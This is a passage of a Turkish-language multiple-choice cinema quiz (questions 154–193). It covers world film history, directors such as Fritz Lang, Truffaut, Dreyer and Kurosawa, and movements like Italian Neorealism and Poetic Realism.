dönemlerinin bir mirasıdır: Satyajit Ray sineması…

Aşağıdaki yönetmenlerden hangisinin filmlerinin içinden “bol bol” trenler geçer?

a-) Ingmar Bergman
b-) Mikhail Kalatozov
c-) Andrei Tarkovski
d-) Louis Malle
e-) Alexander Kluge

154. ‘The Night to Remember’ {1958 – Roy Ward Baker}, Titanik faciasının sinemadaki en kayda değer örneğidir. 97 yapımı olan Oscar rekortmeni filmdeki gibi duygu sömürüsü aşklardan da azadedir.
William Friedkin’in kült korkusu ‘The Exorcist’ {Şeytan – 1973}, yine gerçek bir olaydan ilham alınarak çekilmiştir.

Aşağıdaki filmlerin hangisi, yaşanmış/gerçek bir olaydan esinlenme değildir?

a-) I Want to Live {Yaşamak İstiyorum – 1958} / Robert Wise
b-) Fitzcarraldo (1982) / Werner Herzog
c-) Onibus 74 {Bus 174 – 2002} / José Padilha & Felipe Lacerda
d-) Salvatore Giuliano (1962) / Francesco Rosi
e-) Picnic at Hanging Rock (1975) / Peter Weir

155. Aşağıdaki bilgilerden hangisi yanlıştır?

a-) Hafıza, Alain Resnais ve Alain Robbe-Grillet sinemasında, başlıca alamet-i farikalar arasındadır.
b-) Cary Grant ve Doris Day, peşi sıra filmleriyle, romantik komedinin unutulmaz ikilisi olmuşlardır.
c-) Alain Tanner, kimi filmlerinde sınıfsal alt metinler barındırır.
d-) Luis Bunuel’in Meksika dönemi filmleri, son dönem çalışmalarına kıyasla sürrealizmden uzaktır.
e-) Georges Melies’in 1902 yapımı ‘Aya Yolculuk’u (Le voyage dans la lune), sinemada efekt hilelerinin kullanıldığı bir filmdir.

156. Askeriye-Sınıf ilişkileri bağlamlı düşünüldüğünde… Stanley Kubrick’in, Jean Renoir’in ‘La grande illusion’ {Büyük Yanılsama – 1937} filminde çizilen eleştirel freske “en” yakın duran, “siperdeki albay”la da hatırlanabilecek eseri aşağıdakilerden hangisidir?

a-) Barry Lyndon (1975)
b-) Paths of Glory (1957)
c-) Dr. Strangelove (1964)
d-) Spartacus (1960)
e-) A Clockwork Orange (1971)

157.
-….., son bölümlerini, şehirdeki uzunca bir kaçma-kovalamaca sekansına ayırmıştır.
-….., ana karakterin finaldeki 4 ayak yürüyüşü ile belleklere kazınmıştır.
-….., Kammerspiel akım dendiğinde belki de akla ilk gelen çalışmadır. Bu karanlık filmin baş karakteri, bir otel kapıcısıdır.
-….., Bir ölümün olduğu son kısımlarda; kamera, pencereden dışarıya çıkar. Devingen kamera, tek planda etrafı süzerken; seyirci, odada olan biteni göremez. Bu, unutulmaz bir andır.

Yukarıdaki boş bırakılan yerler doldurulduğunda, hangi seçenek dışarıda kalır?

a-) Trans-Europ-Express {Avrupa Ekspresi – 1967} / Alain Robbe-Grillet
b-) Balkanski spijun {Balkan Casusu – 1983} / Dusan Kovacevic
c-) Panic in the Streets {Sokaklarda Panik – 1950} / Elia Kazan
d-) Professione: reporter {Yolcu – 1975} / Michelangelo Antonioni
e-) Der letzte man {Son Adam – 1924} / F.W. Murnau

158. “Koş vatandaş koş. Afrika’nın sahilleri, köprüleri, modern otobanları, köyleri, folkloru… 32 kısım tekmili birden burada!”

şeklinde anons yapan bir gezici panayır, hangi filmi oynatma hazırlığındadır?

a-) Tabiate bijan (1974) / Sohrab Shahid Saless
b-) Yeelen (1987) / Souleymane Cissé
c-) Tilai (1990) / Idrissa Ouedraogo
d-) Beau Geste (1939) / William A. Wellman
e-) Touki Bouki (1973) / Djibril Diop Mambéty

159. DHA bildiriyor:
Kadın kasabı Şakir Nuri Akarsu yakalandı…
Genç ve güzel kadınları hedef seçen ve uzun zamandır aranan orta yaşlardaki Akarsu, bugüne dek 12 kadının ırzına geçmiş, hepsini -ardında bir işaret bırakarak- hunharca katletmişti. Zanlı, sorgulama esnasında tüm suçlarını bir bir itiraf etti.
Bazıları şimdi yine suçu sinemaya atacak. Fakat, insan dik durduğu ve kendini bildiği sürece hiçbir film onu bu denli bir sapkınlığa sevk edemez. Evvela bu tespiti yapalım ve sorgulama kayıtlarında gözümüze çarpan şu ilginç noktayı paylaşalım: Katil, hastalık derecesinde bir Tony Curtis hayranı çıktı. Onun bir filmini izledikten sonra başlamış seri cinayetlerine…

Akarsu, aşağıdaki filmlerden hangisini izlemiş olabilir?

a-) Criss Cross (1949) / Robert Siodmak
b-) Some Like It Hot (Bazıları Sıcak Sever – 1959) / Billy Wilder
c-) Houdini (1953) / George Marshall
d-) The Boston Strangler {1968} / Richard Fleischer
e-) Sweet Smell of Success (1957) / Alexander Mackendrick

160.
- Karların içerisine gömülen araba
- Hiç konuşmayan yaşlı kadın
- Ölen babayı teşhis eden oğul

Bu üç anahtar, hangi filmi hatırlatmaktadır?

a-) West Beyrouth (Batı Beyrut – 1998) / Ziad Doueiri
b-) Zamani barayé masti asbha (Sarhoş Atlar Zamanı – 2000) / Bahman Ghobadi
c-) Vodka Lemon (Votka Limon – 2003) / Hiner Saleem
d-) Voksne mennesker (Tutunamayanlar – 2005) / Dagur Kári
e-) Le grand voyage (Büyük Yolculuk – 2004) / Ismaël Ferroukhi

161. Aşağıdaki film-tema eşleştirmelerinden hangisi yanlıştır?

a-) The Chant of Jimmie Blacksmith (1978,  Fred Schepisi ) — Irkçılık
b-) Last Night (1998, Don McKellar) — Dünyanın Sonu
c-) Bizalom (1980, Istvan Szabo) — Güven
d-) Los lunes al sol (2002, Fernando León de Aranoa) — Evlilik Cehennemi
e-) Bad Day at Black Rock (1955, John Sturges) — Taşra Muhafazakarlığı

162. Sinema, toplumun aynasıdır bir nevi. İhtilaller, savaşlar, ekonomik krizler, ırk ayrımcılığı, feminizm mücadelesi vs. Dünyayı etkileyen her bir mesele, en geç bir şekilde tecellisini bulur büyülü fenerde.
Sinema, toplumdaki gelişmelere paralel şekilde kahramanlarını da yaratmıştır. Alman Dışavurumculuğu, 1. Dünya Savaşı’nın yarattığı karamsar havayla oluşmamış mıydı! 1929 krizinin yarattığı Film Noir ise, her yönüyle toplumdaki kaosun fotoğrafıdır. Üstelik filmlerde gösterilen çürüme/suç, sadece gangsterlere özgü de değildir. Dedektifler de icabında en az suçlular kadar “sert”, kanun tanımaz, umursamaz ve kötüdürler: ‘Touch of Evil‘deki Hank Quinlan (Orson Welles); ‘Malta Şahini‘deki Sam Spade (Humphrey Bogart); ‘The Big Sleep‘deki Philip Marlowe (Humphrey Bogart); ‘The Big Heat‘taki Dave Bannion (Glenn Ford) ilk akla gelen örneklerdir.

70′lere geldiğimizde… Daha da değişen dünyada, sosyal patlamalarla sallanan dünyada, iki tip peydah olmuştur: Birincisi, kanunları takmayan ve “kendi intikamını kendi alan” yurttaş modeli… İkincisiyse, kendini yine kanunların üzerinde gören, amiyane tabirle “amirlerini sallamayan” kanun adamı modeli: Clint Eastwood’un ‘Dirty Harry‘i gibi… Roman Polanski’nin ‘Chinatown‘u (1974) gibi… William Friedkin’in bir takip sahnesiyle efsaneleşmiş ‘The French Connection’u (1971) gibi…
Haşin dedektifler ya da emniyet teşkilatındaki yozlaşma, sonraki on yıllarda da devam edecek: 80′lerde ‘To Live and Die in L.A.‘ (1985 – William Friedkin); 90′larda ‘L.A. Confidential‘ (1997 -  Curtis Hanson) ve ‘Bad Lieutenant‘ (1992 – Abel Ferrara), ilk akla gelen örnekler olur.

Aşağıdaki filmlerin hangisinde, “doğrudan” üstte tarif edilen modelde bir yurttaşa / polise / dedektife rastlanmaz?

a-) Un borghese piccolo piccolo (1977) / Mario Monicelli
b-) Serpico (1973) / Sidney Lumet
c-) Network (Şebeke – 1976) / Sidney Lumet
d-) Death Wish (1974) / Michael Winner
e-) Get Carter (1971) / Mike Hodges

163. Aman allahım! Kovboylar şarkı söylüyor.

- Lemonade Joe (1964) / Oldrich Lipsky
- El Topo (1970) / Alejandro Jodorowsky
- Antonio das mortes (1969) / Glauber Rocha

Orta Avrupa ve Latin Amerika yapımı üç western örneği verilmiştir. Üç filmin ortak bir özelliği vardır: Klasik western mitini yapbozuma uğratan bir üslup/anlatım barındırırlar. Westerni, farklı farklı türlerle katık ederler.
Aşağıda, westerne bulanan bu farklı “tür”ler birlikte verilmiştir. Doğru sıralama hangisidir?

a-) Bilim-Kurgu – Komedi – Müzikal
b-) Fantastik – Toplumcu Gerçekçi – Komedi
c-) Komedi – Fantastik – Müzikal
d-) Müzikal – Fantastik – Toplumcu Gerçekçi
e-) Toplumcu Gerçekçi – Fantastik – Komedi

164. Savaş sonrasının sefil Roma’sında, çalınan bir bisikletin peşine düşen baba oğulun öyküsünü işleyen ‘Ladri di biciclette’ {Bisiklet Hırsızları – 1948}, bir Vittorio De Sica başyapıtıdır. Akımın da sembol filmidir.
Yeni Gerçekçilik“, ikinci savaşın getirdiği yıkım ile İtalya’da doğmuştur. Çoğunlukla Vicsonti’nin ‘Tutku’su (Ossessione) ile başlatılır. Ülkenin “acılarından” beslenen akım, sokaklara inmiştir. İşsizlik, kentin ve kırsalın sorunları, genç neslin umutsuzluğu, yaşlılar, Güney’in az gelişmişliği…, ilk dönemde deşilen belli başlı konular arasındadır. Bazen de bizatihi savaş ve direniş dönemlerine gidilmiştir: Roberto Rossellini’nin üçlemesi gibi.

Şairane Gerçekçilik” ise, Fransa’da doğmuş ve şiirsel üslubuyla dikkatleri çekmiştir. Gerçeği, düşlerle sarmalayarak yeniden kurgulamıştır. Mekanlar da bu şiirselliğe katkı yapacak şekilde düzenlenmiştir. Ancak bu akımın da karamsar bir havası vardır. Hayat acımasız, insanlar kötüdür (bkz. Sisler Rıhtımı). Melankolik karakterlere sık rastlanır. İlişkilerse çoklukla sorunludur. Mutlu son, pek azdır.

Aşağıdaki hangi iki film, gerçek olamayacak kadar “masalsı anlatımları” ve “iyimserlikleri” itibariyle, Yeni Gerçekçilik ve Şairane Gerçekçilik akımları içerisinde farklı bir yerde dururlar?

a-) Sciuscià (1946, Vittorio De Sica) — La belle et la bête (1946, Jean Cocteau)
b-) Les enfants du paradis (1945, Marcel Carne) — La bête humaine (1938, Jean Renoir)
c-) Viaggio in Italia (1954, Roberto Rossellini) — Pepe lo moko (1937, Julien Duvivier)
d-) Miracolo a milano (1951, Vittorio De Sica) — Les visiteurs du soir (1942, Marcel Carne)
e-) Roma, città aperta (1945, Roberto Rossellini) — L’atalante (1934, Jean Vigo)

165.
İsyan ateşini, Kubrick’in ’2001 a Space Odysses’indeki HAL 9000′den çok daha önce yakan “insan-dışı”lar (Metropolis),
Ayna karşısındaki sahnesiyle de anımsanacak, her yerde aranan çocuk katilleri (M.),
Karanlık/süfli ruhların dünyası, şeytani kumarbazlar, peşlerindeki dedektifler (Dr. Mabuse, der Spieler),
Ölümle dans eden ama kaderinden kaçamayan sevgililer (Der müde Tod)…

Fritz Lang sineması, karakterlerine/kahramanlarına aşağıdakilerden hangisini yaptırmamıştır?

a-) Raca saraylarında yılan dansı
b-) Führer’e suikast girişimi
c-) Sanat müzesine sabotaj girişimi
d-) Kılıç savaşları
e-) Ruhunu şeytana satmak

166. 36-42 kuzey paralelleri arasında yer alan Türkiye’deki bir yolcu, Powell & Pressburger ikilisinin savaş filmlerinden birine adını veren paraleldeki sayıya ulaşmak için kaç derece daha kuzeye gitmelidir?

a-) 17 b-) 6 c-) 8 d-) 7 e-) 16

167.
- Filmlerimde, ülkemin banliyölerini ve oradaki suçlu/kaybeden gençliği işlemeyi seviyorum.
- Filmlerimde, yolculuk – göçmenlik – yabancılaşma öğeleri baskındır.
- Filmlerim, sürreal ve tarifi zor bir kabus gibidir. Zaten fazla da filmim yok.
- Filmlerim, geleneğe kökten bir başkaldırıdır. Aslında film oldukları da tartışılır. Bence sinema öldü!

Yukarıda, dört yönetmene ait dört hayali konuşma görülmektedir. Sizce hangi yönetmen seçenek dışı kalır?

a-) Manoel de Oliveira
b-) Guy Debord
c-) Alejandro Jodorowsky
d-) Olivier Assayas
e-) Clara Law

168. İki evli karakterin yasak aşklarını anlatan David Lean klasiği aşağıdakilerden hangisidir? Ve de bu “yasak aşk” hangi diğer filmi akıllara getirir?

a-) Divorzio all’italiana (1961) — Le notti di Cabiria (1957)
b-) Brief Encounter (1945) — La ciociara (1960)
c-) Great Expectations (1946) — Fröken Julie (1951)
d-) Great Expectations (1946) — La dolce vita (1960)
e-) Brief Encounter (1945) — Stazione Termini (1953)

169.David Holzman’s Diary’ (1967) ve ‘The Bad and the Beautiful‘ (1952), izlenmesi gereken filmler arasındadır. Vincente Minnelli’nin The Bad and the Beautiful’u, bilhassa tavsiye olunur. Sunset Blvd. kadar popüler olamamıştır belki ama Hollywood’un aynayı kendine tuttuğu çok sağlam bir filmdir.
Sessiz dönemlere gittiğimizdeyse, karşımıza önce King Vidor imzalı ‘Show People‘ (1928) çıkar. “Artist olmak üzere yola çıkan kız” tiplemesinin de ilk örneklerinden olan film, pek çok sessiz dönemler yıldızının cameo yaptıkları unutulmaz anlarıyla anımsanacaktır.
Giuseppe Tornatore’nin başyapıtı ‘Nuovo cinema Paradiso‘ {Cennet Sineması – 1988} ise o çocukla birlikte bizi de sinemanın büyülü dünyasında yolculuğa çıkarmıştı. ‘Yazlık Sinema’ günlerini yaşamış olanlar ise eminiz daha buruk duygularla izlemiştir filmi.
Fellini’nin ‘‘si ise bu denklemin belki de en tanınan parçasıdır.
Kieslowski’nin ‘Amator‘ {Camera Buff – 1979} ve Wajda’nın ‘Wszystko na sprzedaz‘ {Her Şey Satılık – 1969} filmlerini de unutmamak gerekir tabii.

Sinemanın sinemaya baktığı, film içinde film konulu, sektörün bakışları bizzat kendine yönelttiği onlarca film vardır yedinci sanatta. Aşağıda bunlardan 4 örnek göreceksiniz. Hangi seçenek dışarıda kalacaktır?

a-) The Conversation {Konuşma – 1974} / Francis Ford Coppola
b-) Le mépris {Küçümseme – 1963} / Jean-Luc Godard
c-) La nuit américaine {Amerikan Gecesi – 1973} / François Truffaut
d-) Sullivan’s Travel {Sullivan’ın Yolculuğu – 1942} / Preston Sturges
e-) Der Stand der Dinge {Olayların Gidişi – 1982} / Wim Wenders

170. Sigara ile hafızalara kazınan kimi filmler vardır. Bette Davis’li ‘Now, Voyager’ (1942); Coen’lerin ‘The Man Who Wasn’t There‘i (2001); Michael Mann’ın ‘The Insider’i (1999); Wayne Wang’ın ‘Smoke‘si (1995); Lütfi Akad’ın ‘Vesikalı Yarim‘i (1968), Atıf Yılmaz’ın ‘Ah Güzel İstanbul‘u (1966) ve daha pek çok örnek… Ancak belki de hiçbiri, yan yana hücreleri paylaşan iki adamın, duvardaki bir delikten sigara paylaştıkları o anlar kadar efsane olmamıştır.

Son cümlede atıf yapılan film hangisidir?

a-) Kiss of the Spider Woman (Örümcek Kadının Öpücüğü – 1985) / Hector Babenco
b-) Le trou (1960) / Jacques Becker
c-) Un chant d’amour (1950) / Jean Genet
d-) Il generalle della rovere (1959) / Roberto Rossellini
e-) Banditi a Orgosolo {Orgosolo Haydutları – 1964} / Vittorio de Seta

171. Gecekonduların birleştirdiği iki film aşağıdakilerden hangisidir?

a-) Plácido (1961 – Luis Garcia Berlanga) —– La paura {1954 – Roberto Rossellini}
b-) Dodes’ka-den {1970 – Akira Kurosawa} —– Brutti, sporchi e cattivi {1976 – Ettore Scola}
c-) De noorderlingen {1992 – Alex van Warmerdam} —- Elling (2001 – Petter Næss)
d-) Karakter {1997 – Mike van Diem} —–  Xich lo (1995 – Anh Hung Tran)
e-) Ossos {1997 – Pedro Costa} —– Magnolia {1999 – Paul Thomas Anderson}

172. Aşağıdaki akım-film eşleştirmelerinden hangisi yanlıştır?

a-) Avant-Garde — Coeur fidele (1923)
b-) Cinema Verite — Chronique d’un été (Paris 1960) (1961)
c-) Yeni Gerçekçilik — Paisa (1946)
d-) Avant-Garde — La chienne (1931)
e-) Şairane Gerçekçilik — La belle équipe (1936)

173.
I-) Midnight Cowboy (Geceyarısı Kovboyu – 1969) / John Schlesinger
II-) Deer Hunter (Avcı – 1978) / Michael Cimino
III-) Taksi-Blyuz (1990) / Pavel Lungin
IV-) Scarecrow (Korkuluk – 1973) / Jerry Schatzberg
V-) C’eravamo tanto amati (1974) / Ettore Scola
VI-) Sólo con tu pareja (1991) / Alfonso Cuaron
VII-) Mickey and Nicky (1976) / Elaine May
VIII-) Le huitième jour (Sekizinci Gün – 1996) / Jaco Van Dormael
IX-) Foolish Wives (1922) / Erich von Stroheim
X-) Amici miei (1975) / Mario Monicelli

Dostluğa, dost olmaya, fedakarlığa, arkadaşlığın sihrine adanmıştır üstteki deste. Sadece bir filmde böyle bir denklem olduğu söylenemez. Bu hangi filmdir?

a-) III b-) V c-) VII d-) VIII e-) IX

174. Aşağıdaki fakülte – film eşleştirmelerinden hangisi tamamıyla uyumsuzdur?

a-) Eğitim Fakültesi — Stand and Deliver (1988, Ramón Menéndez)
b-) Hukuk Fakültesi — Hable con ella (2002, Pedro Almodóvar)
c-) Tıp Fakültesi — Akahige (1965, Akira Kurosawa)
d-) Güzel Sanatlar Fakültesi — The Draughman’s Contract (1982, Peter Greenaway)
e-) İletişim Fakültesi — Will Success Spoil Rock Hunter? (1957, Frank Tashlin)

175.

Throne Of Blood, (AKA Kumonosu Jo), Toshiro Mifune, 1957 Premium Poster
Japonya’nın “en Batılı” yönetmenlerinden Akira Kurosawa’nın, epik/tarihi filmlerinden biri sorulmaktadır.
Yukarıdaki sahne hangi filme aittir?

a-) Shichinin no samurai (Yedi Samuray – 1954)
b-) Kumonosu jô (Kanlı Taht – 1957)
c-) Tsubaki Sanjûrô (1962)
d-) Kakushi-toride no san-akunin (Saklı Kale – 1958)
e-) Kagemusha (1980)

176. Aşağıdaki sözlerin hangisi, B filmleri yönetmeni Jesus Franco’nun kült işi ‘Miss Muerte’deki intikamcı kız için “en” uygundur?

a-) İntikam yemeğini soğukken yerim.
b-) Hâlâ geri dönebilirim.
c-) Ateşi maşayla tutarım.
d-) İntihar, tek çözüm yolum.
e-) Kendi işimi kendim görürüm.

177.

I-) Bernardo Bertolucci & Vittorio Storaro
II-) James Ivory & …
III-) Tim Burton & Danny Elfman
IV-) Jean-Marie Straub & Daniele Huillet
V-) … & Roger Deakins
VI-) Fred Astaire & Ginger Rogers
VII-) Marcel Carne & …
VIII-) Steven Spielberg & John Williams
IX-) Bertrand Blier & Gerard Depardieu
X-) … & Harold Pinter
XI-) Emir Kusturica & Goran Bregovic

Yukarıda, sinema tarihinin kimi kader ortaklıkları görülmektedir. 4 isim boş bırakılmıştır. Aşağıdakilerden hangisi, bu isimlerden biri değildir?

a-) Coen Biraderler b-) Joseph Losey c-) Cesare Zavattini d-) Ismail Merchant e-) Jacques Prevert

178. Kara film, 50′lerden itibaren özellikle Fransızların katkısıyla, form değiştirip daha bir psikolojik/bireysel boyut kazanmıştır. “Yalnız, ketum ve acımasız kiralık katiller” mitosu da işte bu form içinde oluşmuş ve dünyaca furya haline gelmiştir.

Aşağıdakilerden hangisi, o katillerden birine “başrolü” vermiş filmlerden değildir?

a-) Le samourai (1967) / Jean-Pierre Melville
b-) Blast of Silence (1961) / Allen Baron
c-) Murder by Contract (1958) / Irving Lerner
d-) Victim (1961) / Basil Dearden
e-) Branded to Kill (1967) / Seijun Suzuki

179.
- Ölen bir eş ve onun için yaptırdığı odada kendine bir dünya yaratan koca…
- Ucube bir çocuk ve “dil”in gelişimdeki önemi…
- ‘Jules and Jim’in izinden giden bir üçlü aşk hikayesi…
- Müzisyenler ve silahlı adamlar; dağ evleri…

François Truffaut’un 4 adet filmi, kısa kısa tanımlanmıştır. Hangi seçenekteki film, tanımların dışında kalmaktadır?

a-) Tirez sur le pianiste (1960)
b-) La chambre verte (1978)
c-) La mariée était en noir (1968)
d-) Les deux Anglaises et le continent (1971)
e-) L’enfant sauvage (1970)

180.Ironiya sudby, ili S legkim parom‘ {Kaderin Cilvesi, 1975} isimli filmi, Rusya’nın yılbaşı filmidir, Rusya’nın ‘It’s a Wonderful Life’sidir. Sovyet dönemindeki bürokrasiyi ve tektipleşmeyi, birbirinin aynısı binalar üzerinden hicveden başarılı bir komedi klasiğidir.
Onun -belki de- en güzel filmi ise siyah beyazdır. ‘Beregis avtomobilya‘ (1966) ismini taşır. Ve gerçekten nefistir. Araba hırsızı bir modern dönemler Robin Hood’u çizmek ne dahiyane bir fikir değil mi! Peşindeki kanun güçlerini de hesaba katarsak… Bu film, bir yerde Rusya’nın komediye bulanmış ‘Pickpocket’idir.


Konuşmacı hangi yönetmenden bahsetmektedir?

a-) Georgi Daneliya
b-) Sergei Bondarchuk
c-) Eldar Ryazanov
d-) Pavel Chukhraj
e-) Aleksey Balabanov

181.
- Bir ada, davetliler ve Agatha Christie gerilimi.
- İngiltere dönemlerinde gelen, Ealing usülü bir fantastik komedi.
- Chaplin’in ‘Modern Times’ine kaynaklık etmiş bir yapım.
- Damların, bacaların altında yazılan şiirler… Yoksulluk, çaresizlik, aşk… Sesin çok az kullanıldığı bir film.

4 adet Rene Clair filmi, kısaca tanımlanmıştır. Bahsi edilmeyen film hangisidir?

a-) And Then There Were None (1945)
b-) À nous la liberté (1931)
c-) Le million (1931)
d-) Sous les toits de Paris (1930)
e-) The Ghost Goes West (1935)

182. Çek Sineması ile ilgili bir rapor hazırlayan araştırmacı, raporunu ilgililere teslim eder. Aynı akşam bir telefon çalar ve telefonun ucundaki ses, araştırmacıya “Böylesi yanlış bir saptamayı nasıl yaparsınız!” yollu sitem eder.

Söz konusu siteme, araştırmacının aşağıdaki tespitlerinden hangisi yol açmıştır?

a-) Güçlü bir animasyon ekolü göze çarpıyor.
b-) Filmlerinde, politik didaktizme çok fazlaca kapıldıkları görülüyor.
c-) Çok eskilere, 20′lere dek uzanan bir sinema geçmişleri var.
d-) Yönetmenlerinin bir kısmı ülke dışına kaçmış.
e-) Jiri Menzel, Frantisek Vlácil, Jaromil Jires, Milos Forman, Vera Chytilová gibi usta yönetmenleri var.

183. Bir trenle taşraya gelen hayat kadınlarının kilise ziyaret ettikleri anlarla ölümsüzleşen Max Ophüls filmi, aşağıdakilerden hangisidir?

a-) Madame de… (1953)
b-) Lola Montes (1955)
c-) La ronde (1950)
d-) Le plaisir (1952)
e-) Letter from an Unknown Woman (Meçhul Bir Kadından Mektuplar – 1948)

184. Mahir Bey, oğlunu son derece faziletli yetiştirmek isteyen bir din adamıdır. Özellikle hırsızlık ve haram kazanç üzerinde durmaktadır. Oğluna, haram parayla alınan bir malın sahibine fayda getirmeyeceğini sık sık tembihlemektedir. Mahir Bey, bir gün oğluyla beraber İran filmi izlemektedir. Bir sahne esnasında “Bak, gördün mü! Ben sana haram kazançla alınan mal fayda getirmez dememiş miydim. İşte, döküldü gitti erikler.” demiştir.

Baba oğul, hangi filmi izlemişlerdir?

a-) Bacheha-Ye aseman (1997, Cennetin Çocukları) / Majid Majidi
b-) Rang-e khoda (1999, Cennetin Rengi) / Majid Majidi
c-) Avaze gonjeshk-ha (2008, Serçelerin Şarkısı) / Majid Majidi
d-) Baran (2001) / Majid Majidi
e-) Sib (1998, Elma) / Samira Makhmalbaf

185. 1954 yapımı ‘Animal Farm’ın meyhanede pinekleyen eski çiftlik sahipleri, hayvanlara kaptırdıkları arazilerini geri almak için silahlanıyor ve çiftliğe hareket ediyorlardı. Ama (…)

Tony Gatlif’in bol müzikli ‘Gadjo dilo‘ {Çılgın Yabancı – 1997} filminde de bir grup meyhane mukimi vardı. Bu hoşgörüsüz güruh, birleşip çingenelerin üzerine yürümüşlerdi. Bu eylem, ne şekilde sonuçlanmıştı?

a-) Başrol oyuncularının kız olanının ırzına geçilmesiyle.
b-) Başrol oyuncularının erkek olanının linç edilmesiyle.
c-) Çingene evlerinin yakılmasıyla.
d-) Çingene evlerinin taşlanmasıyla.
e-) Mahkemede.

186.
- La passion de Jeanne d’Arc {1928 – Jan D’arc’ın Tutkusu}
- Ordet {1955 – Söz}
- Gertrud (1964)
- Vredens Dag {1943 – Öfke Günü}
- Vampyr (1932)
- Master of the House {1925 – Evin Efendisi}

Mistik/metafizik gerçeğin, cesur estetik anlayışlarla ve titiz kadrajlarla verildiği bir sinema… Teknik ustalığın dersi bir sinema… Yüzlere yapılan yakın çekimlerle (Jeanne d’Arc gibi) dikkat çeken bir sinema… Acı çeken, toplumca mahkum edilen kadınlardan yana tavır alan bir sinema… Carl Theodor Dreyer sineması.
Danimarkalı ustanın -bizce- en iyi filmleri sıralanmıştır. “Aile”, “bireysel çatışmalar”, “inanç sorgulamaları”, “insanoğlunun ölümle dolaysız ilişkisi” ve “iç mekanlar” bileşimi, hangisini temsil eder? (NOT: Film, Ortaçağ dönemlerinde “geçmemektedir.”)

a-) Ordet (1955)
b-) Gertrud (1964)
c-) Vredens Dag (1943)
d-) Vampyr (1932)
e-) La passion de Jeanne d’Arc (1928)

187. Samuel Fuller, Amerikan Sineması’nın sağ cenaha mensup yönetmenleri arasındadır. Film noir, gerilim, savaş, dram, western… Pek çok türde başarılı eserler vermiştir.
Onun hangi filminde, taşrada yeni bir hayata yelken açan kadın ve “kuru kafa” şapkaları giymiş çocuklar görmüştük?

a-) Shock Corridor (1963)
b-) The Naked Kiss (1964)
c-) The Big Red One (1980)
d-) Pickup on South Street (1953)
e-) White Dog (1982)

188. Yeni Dalga’nın biraz daha gerilerden ve Atlantik ötesinden başladığını ileri süren bir yazar, iddiasına dayanak olarak 50′lerden caz planlı bir filmi örnek göstermiştir.

Bu film aşağıdakilerden hangisi olabilir?

a-) The Music Man
b-) New York, New York
c-) Shadows
d-) All That Jazz
e-) The Glenn Miller Story

189. İsveç Sineması, çok köklü bir sinemadır ve 1. Dünya Savaşı dönemlerine dek uzanır. O dönem için özellikle 2 yönetmen göze çarpar:
Sonraki yıllarda Greta Garbo’yu da beraberinde Amerika’ya götürecek olan ……., sessiz dönemin başlıca ustalarındandır. …… isimli filminde, buzullarda sıkışıp kalmış bir tekneyi anlatır. Doğa gerçekten çok vahşice kullanılmıştır filmde. (Bir an için ilerleyen yıllarda gelen Fin yapımı ……… yı hatırlarız.)
Victor Sjöström’e gelirsek. Hayalet Araba olarak da bildiğimiz ürkütücü çalışması ‘Körkarlen’ (1921), bir sessiz dönemler klasiğidir. Arabanın görüntüsünün saydamlaştığı anlarla hafızaya nakşolmuştur. Sjöström, 20′lerin sonlarında bu kez …… ile gelmiştir. Bu, onun Amerika yıllarında çektiği bir dramdır. Doğa, yine türlü türlü haşinliğini gösterir.

Boş bırakılan yerlere “sırasıyla” aşağıdakilerden hangisi getirilmelidir?

a-) Mauritz Stiller — Valkoinen peura — Herr Arnes pengar — The Wind
b-) Mauritz Stiller — Herr Arnes pengar — Valkoinen peura — The Wind
c-) Mauritz Stiller — Gösta Berlings saga –  Erotikon — The Wind
d-) Erik Blomberg — Gösta Berling saga — Valkoinen peura — The Wind
e-) Erik Blomberg — Herr Arnes pengar — Erotikon — The Wind

190. Bir kurşun yağmuruyla dünyaya hükmedeceğini sanan kahramanların devri geride kalmıştır. Artık “babalar” sözleşme imzalamakta, yüksek finans çevreleriyle ve sendikalarla ilişkiye girmektedir.

Tez canlı, kanı deli akan, diplomasiden haz etmeyen, hemen sonuca gitmek isteyen, çok “hırçın” bir kişiliği vardır Can’ın. Can, Coppola’nın ‘Godfather I’ini izlediğinde hangi karaktere kendini daha yakın hissedecektir?

a-) Don Vito Corleone – Marlon Brando
b-) Michael Corleone – Al Pacino
c-) Tom Hagen – Robert Duvall
d-) Sonny Corleone – James Caan
e-) Sal – John Cazale

191. 1960′ların değişen (ve ekonomik yönden gelişen) İtalya’sında, Yeni Gerçekçilik de bir evrime uğrayacak, “hafifleyecek”, yelpazesini genişletecekti. İnsan bilincine yönelen ve modern toplumdaki iletişimsizliği / donmuşluğu diskur belleyen …….; düşsel ile gerçeğin, gülünç ile trajiğin iç içe girdiği ‘aylaklar’ın dünyasıyla …….; küçük burjuvaların ve aristokratların sinemasını yapan “soylu Marksist” Luchino Visconti ve benzerleri, bunun işareti gibidirler.
Beri yandaysa tarih ve siyaseti, fabl ve mitoloji ile harmanlayan …….; ‘I pugni in tasca’ (Cepteki Yumruk) ile aile kurumunu topa tutan Marco Bellocchio; aydın yabancılaşmasını barok anlatımlarla veren Bernardo Bertolucci; kamerasını az gelişmiş Güney’e tutan, ancak bunu Pietro Germi ya da Alberto Lattuada filmlerindeki törel komedilerden ziyade politik yozlaşmalar, emlak vurgunları, suikastler düzleminde gerçekleştiren Francesco Rosi gibi sol kanat sinemacılar göze çarpıyor. …… yı da, yine Rosi paralelinde okuyabiliriz. En azından “erken dönemleri” buna müsaittir: ‘I sovversivi’ ve ‘Allonsanfan’ gibi.

Boş bırakılan noktalara aşağıdaki yönetmenlerden hangisi getirilemez?

a-) Pier Paolo Pasolini
b-) Michelangelo Antonioni
c-) Paolo & Vittorio Taviani
d-) Federico Fellini
e-) Elio Petri

192. ‘The Silence of the Lambs’ın Hannibal’ını sadık ve çelik disiplinli bir hizmetkar; ‘Superman’lerin pelerinli kahramanınıysa onun aristokrat efendisi yaptığımızda, hangi filme ulaşmışız demektir?

a-) The Remains of the Day {Günden Kalanlar – 1993} / James Ivory
b-) Howards End {Howardlar’ın Malikanesi – 1992} / James Ivory
c-) Maurice (1987) / James Ivory
d-) A Room With a View {Manzaralı Oda – 1985} / James Ivory
e-) The Servant {Uşak – 1963} / Joseph Losey

193.
- Yüksek bütçeli sinema örnekleri.
- Bir sansür mekanizması… Bir dönem Hollywood’un üzerinde Demoklesin Kılıcı gibi sallanmış yasak kurallar bütünü.
- Tanıdık bir yüzün, filmde küçük bir rol ile kadraja dahil olması.
- En basit ifadeyle ‘romantik-komedi’.

Yukarıda, bazı terimler tanımlanmıştır. Tanımı yapılmamış şık hangisidir?

a-) Screwball
b-) Hays Code
c-) Slapstick
d-) Blockbuster
e-) Cameo

